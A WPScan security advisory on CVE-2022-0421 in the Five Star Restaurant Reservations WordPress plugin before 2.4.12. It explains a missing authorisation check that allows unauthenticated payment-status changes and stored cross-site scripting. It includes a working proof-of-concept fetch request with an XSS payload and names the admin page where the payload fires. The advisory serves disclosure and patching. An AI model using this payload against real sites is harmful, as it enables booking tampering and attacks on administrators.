WPScan

WordPress Plugin Vulnerabilities

# Five Star Restaurant Reservations < 2.4.12 - Unauthenticated Arbitrary Payment Status Update to Stored XSS

## Description

The plugin does not have authorisation when changing whether a payment was successful or failed, allowing unauthenticated users to change the payment status of arbitrary bookings. Furthermore, due to the lack of sanitisation and escaping, attackers could perform Cross-Site Scripting attacks against a logged in admin viewing the failed payments

## Proof of Concept

```
As an unauthenticated user (booking_id needs to be valid):

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=rtb_stripe_pmt_succeed&success=false&message=<img src
onerror=alert(1)>&booking_id=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


The XSS will be triggered at http://example.com/wp-admin/admin.php?page=rtb-
bookings&date_range=all&status=payment_failed
```

## Affects Plugins

### restaurant-reservations

Fixed in version 2.4.12 ✓

## References

**CVE**

CVE-2022-0421

## Classification

**Type**

NO AUTHORISATION

**OWASP top 10**

A5: Broken Access Control

**CWE**

CWE-862

## Miscellaneous

**Original Researcher**

Krzysztof Zając

**Submitter**

Krzysztof Zając

**Submitter website**

https://kazet.cc/

**Verified**

Yes

**WPVDB ID**

145e8d3c-cd6f-4827-86e5-ea2d395a80b9

## Timeline

**Publicly Published**

2022-02-05 (about 9 months ago)

**Added**

2022-10-31 (about 25 days ago)

**Last Updated**

2022-10-31 (about 25 days ago)

## Our Other Services

WPScan WordPress Security Plugin

Plugins

WPScan

Themes

Our Stats

Submit vulnerabilities

### About

How it works

Pricing

WordPress plugin

News

Contact

### For Developers

Status

API details

CLI scanner

### Other

Privacy

Terms of service

Submission terms

Disclosure policy

In partnership with Jetpack

WPScan

An endeavor

Work With Us